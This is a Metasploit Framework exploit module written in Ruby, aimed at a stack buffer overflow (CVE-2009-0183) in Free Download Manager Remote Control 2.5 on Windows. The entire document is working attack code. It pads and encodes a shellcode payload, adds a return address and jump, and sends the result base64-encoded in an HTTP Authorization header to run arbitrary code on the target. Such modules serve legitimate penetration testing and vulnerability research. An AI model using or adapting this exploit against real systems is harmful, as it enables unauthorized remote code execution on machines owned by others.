Free Download Manager Remote Control Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Free Download Manager Remote Control Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Free Download Manager  
Remote Control 2.5 Build 758. When sending a specially crafted  
Authorization header, an attacker may be able to execute  
arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2009-0183' ],  
[ 'OSVDB', '51745' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x0d\x0a",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Privileged' => true,  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe  
],   
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 2 2009'))  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded  
sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')  
  
print_status("Trying target #{target.name}...")  
  
send_request_raw({  
'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64(sploit)}" }  
}, 2)  
  
handler  
disconnect  
  
end  
  
end  
`